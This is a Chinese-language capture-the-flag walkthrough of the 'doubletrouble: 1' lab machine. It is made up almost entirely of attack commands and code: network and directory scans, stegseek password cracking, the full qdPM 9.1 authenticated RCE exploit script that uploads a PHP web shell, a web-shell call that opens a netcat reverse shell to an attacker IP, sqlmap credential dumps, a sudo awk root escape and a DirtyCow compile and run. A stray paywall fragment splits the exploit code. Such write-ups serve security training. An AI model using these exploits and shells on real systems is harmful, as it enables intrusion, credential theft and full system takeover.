【渗透测试】doubletrouble: 1靶场渗透测试

namp -sP 192.168.241.0/24

nmap -sV -v -T4 -A -p- 192.168.241.177

http://192.168.241.177

/backups、/check.php、/images/、/index.php、/install/、readme.txt、/robots.txt、/secret/、/template/

dirsearch -u http://192.168.241.177

stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt cat doubletrouble.jpg.out 账密为：  otisrush@localhost.com  otis666  

searchsploit qdPM

python /usr/share/exploitdb/exploits/php/webapps/50175.py -url http://192.168.241.177 -u otisrush@localhost.com -p otis666

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net# Date: 2021-08-03# Original Exploit Author: Rishal Dwivedi (Loginsoft)# Original ExploitDB ID: 47954# Exploit Author: Leon Trappett (thepcn3rd)# Vendor Homepage: http://qdpm.net/# Software Link: http://qdpm.net/download-qdpm-free-project-management# Version: <=1.9.1# Tested on: Ubuntu Server 20.04 (Python 3.9.2)# CVE : CVE-2020-7246# Exploit written in Python 3.9.2# Tested Environment - Ubuntu Server 20.04 LTS# Path Traversal + Remote Code Execution#!/usr/bin/python3import sysimport requestsfrom lxml import htmlfrom argparse import ArgumentParsersession_requests = requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):    request_1 = {        'sf_method': (None, 'put'),        'users[id]': (None, userid[-1]),        'users[photo_preview]': (None, uservar),        'users[_csrf_token]': (None, csrftoken_[-1]),        'users[name]': (None, username[-1]),        'users[new_password]': (None, ''),        'users[email]': (None, EMAIL),        'extra_fields[9]': (None, ''),        'users[remove_photo]': (None, '1'),        }    return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):    request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'.htaccess')    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_1)    request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'../.htaccess')    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_2)    request_3 = {        'sf_method': (None, 'put'),        'users[id]': (None, userid[-1]),        'users[photo_preview]': (None, ''),        'users[_csrf_token]': (None, csrftoken_[-1]),        'users[name]': (None, username[-1]),        'users[new_password]': (None, ''),        'users[email]': (None, EMAIL),        'extra_fields[9]': (None, ''),        'users[photo]': ('backdoor.php',                         '<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>' , 'application/octet-stream'),        }    upload_req = session_requests.post(HOSTNAME +'index.php/myAccount/update', files=request_3)def main(HOSTNAME, EMAIL, PASSWORD):    url = HOSTNAME + '/index.php/login'    result = session_requests.get(url)    #print(result.text)    login_tree = html.fromstring(result.text)    authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]    payload = {'login[email]': EMAIL, 'login
		

			
输入密码查看隐藏内容
			

				
				
			
		
': PASSWORD, 'login[_csrf_token]': authenticity_token}    result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))    # The designated admin account does not have a myAccount page    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')    account_tree = html.fromstring(account_page.content)    userid = account_tree.xpath("//input[@name='users[id]']/@value")    username = account_tree.xpath("//input[@name='users[name]']/@value")    csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")    req(userid, username, csrftoken_, EMAIL, HOSTNAME)    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')    final_tree = html.fromstring(get_file.content)    backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")    print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' +backdoor[-1] + '?cmd=whoami')if __name__ == '__main__':    print("You are not able to use the designated admin account because they do not have a myAccount page.n")    parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')    parser.add_argument('-url', '--host', dest='hostname', help='Project URL')    parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')    parser.add_argument('-p', '--password', dest='password', help='User password')    args = parser.parse_args()    # Added detection if the arguments are passed and populated, if not display the arguments    if  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):        main(args.hostname, args.email, args.password)    else:        parser.print_help()

python /usr/share/exploitdb/exploits/php/webapps/50175.py -url http://192.168.241.177 -u otisrush@localhost.com -p otis666http://192.168.241.177//uploads/users/?cmd=whoami

http://192.168.241.177//uploads/users/669444-backdoor.php?cmd=nc%20-e%20/bin/bash%20192.168.241.138%209876nc -lvvp 9876

python3 -c "import pty;pty.spawn('/bin/bash')"

sudo -l

sudo awk 'BEGIN {system("/bin/sh")}'

namp -sP 192.168.241.0/24

nmap -sV -v -T4 -A -p- 192.168.241.178

dirsearch -u http://192.168.241.178

sqlmap.py -u http://192.168.241.178/index.php -forms --batch --dbs

sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble --tables

sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble -T users --columns

sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble -T users -C username,password --dump

+----------+----------+| username | password |+----------+----------+| montreux | GfsZxc1  || clapton  | ZubZub99 |+----------+----------+

user.txt：6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletrouble

uname -a

https://github.com/firefart/dirtycow/blob/master/dirty.c

编译命令：gcc -pthread dirty.c -o dirty  -lcrypt执行命令：./dirty root

su firefartroot

root.txt：1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble